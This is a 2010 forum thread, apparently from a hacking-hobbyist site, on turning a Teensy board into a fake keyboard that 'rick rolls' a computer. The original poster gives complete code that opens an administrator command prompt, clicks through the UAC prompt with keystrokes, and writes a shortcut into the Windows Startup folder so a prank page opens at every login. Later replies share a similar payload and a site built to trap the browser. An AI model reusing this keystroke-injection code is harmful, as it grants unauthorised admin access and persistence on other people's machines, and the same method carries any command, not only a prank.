PineDominator Posted August 28, 2010 Posted August 28, 2010 Hi there maybe you could help me I am trying to make a rick roller for the teensy I thought to make a startup entry that would point to and if possible run full screen, maybe without controls ect. If anyone has done something like this already I would realy appreciate taking a look at it or maybe you have some ideas of your own? also I have no idea how to add or make a startup entry maybe it could be done with cmd.exe as admin and added to the startup folder? Quote
PineDominator Posted August 28, 2010 Author Posted August 28, 2010 (edited) Ok so I did manage to get the teensy to rick roll:) This code is made for vista and will most likely work on seven /* All of the included functions are from one of my libarys called tfmanlib I am still working on it but if you would like a zip of it just ask and I'll put it up here */ int ledPin = 11; void setup() { delay(5000); pinMode(ledPin, OUTPUT); startMenuPromptAsAdmin("cmd.exe", 40); //40% more delay I add int delayPercent to all my functions tfmDelay(1200, 25); //25% Keyboard.print("cd \\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("echo [InternetShortcut] > rickroll.url"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("echo URL=http://www.thekickback.com/rickroll/rickroll.php >> rickroll.url"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("exit"); keyPressAmount(KEY_ENTER, 1); } void loop() { digitalWrite(ledPin, HIGH); // set the LED on delay(1000); // wait for a second digitalWrite(ledPin, LOW); // set the LED off delay(1000); // wait for a second } /*Code from petertfm. inspired by code from H@L0_F00. at hak5.org*/ void tfmDelay(unsigned long delayMS, int delayPercent) { delay(((delayMS * delayPercent) / 100) + delayMS); } void startMenuPromptAsAdmin(char *commandToRun, int delayPercent) { openStartMenu(delayPercent); Keyboard.print(commandToRun); tfmDelay(strlen(commandToRun) * 6, delayPercent); startMenuRunUAC(delayPercent); } void openStartMenu(int delayPercent) { Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); Keyboard.set_key1(KEY_ESC); Keyboard.send_now(); tfmDelay(60, delayPercent); clearKey1(); tfmDelay(120, delayPercent); } void startMenuRunUAC(int delayPercent) { /*Press CTRL+SHIFT+ENTER for UAC prompt*/ Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); tfmDelay(400, delayPercent); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); tfmDelay(100, delayPercent); clearKey1(); tfmDelay(1200, delayPercent); /*Time for UAC to appear*/ UACAccept(delayPercent); } void UACAccept(int delayPercent) { /*Accept UAC prompt*/ Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); clearKey1(); tfmDelay(10, delayPercent); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); clearKey1(); } void clearKey1() { Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void moveOffScreen(int moveAmount, int delayPercent) { Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.send_now(); tfmDelay(20, delayPercent); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); tfmDelay(50, delayPercent); clearKey1(); Keyboard.set_key1(KEY_M); Keyboard.send_now(); tfmDelay(50, delayPercent); clearKey1(); tfmDelay(10, delayPercent); keyPressAmount(KEY_DOWN, moveAmount); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); clearKey1(); } void keyPressAmount(int keyToPress, int amountToPress) { for (int pressAmount = 1; pressAmount <= amountToPress; pressAmount++) { Keyboard.set_key1(keyToPress); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } Please let me know If there are any bugs? feel free to steal my code It is inspired by you guys anyways:) also I am looking for some linux and mac sketches so I can include them into my switches library It's now complete but needs a good sketch to demo it Edited August 28, 2010 by petertfm Quote
Netshroud Posted August 28, 2010 Posted August 28, 2010 I have a Rickroll payload in PsyDuk, although it doesn't make it fullscreen or present the victim with heaps of popups. (Those popups are pointless in Chrome though.) Quote
PineDominator Posted August 28, 2010 Author Posted August 28, 2010 I have a Rickroll payload in PsyDuk, although it doesn't make it fullscreen or present the victim with heaps of popups. (Those popups are pointless in Chrome though.) Cool I'll have to finally learn to use c. I can't figure out how to compile your code? or maybe I'm overlooking something? Quote
michaelromkee@gmail.com Posted August 31, 2010 Posted August 31, 2010 Here is a better site for the rickroll. Try it in internet explorer. :-) http://www.thekickback.com/rickroll/rickroll.php or the short url: http://bit.ly/dn22 Quote
Lost Legend Posted September 21, 2010 Posted September 21, 2010 Hey, michaelromkee, There is just one problem I see with that site. AVG blocks me from going to it. So I'm guessing it would also block the payload. Quote
michaelromkee@gmail.com Posted October 1, 2010 Posted October 1, 2010 There is no payload, it just play the song over and over, and makes your browser dance all over the screen; whats more if you try to close it pops up the message box that would say "are you sure you want to leave?", but replaces it with lyrics and only has a cancel button (making it impossible to leave). Michael (ps. if you need to reach me email me at michaelromkee@yahoo.com, I do not check here often.) Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.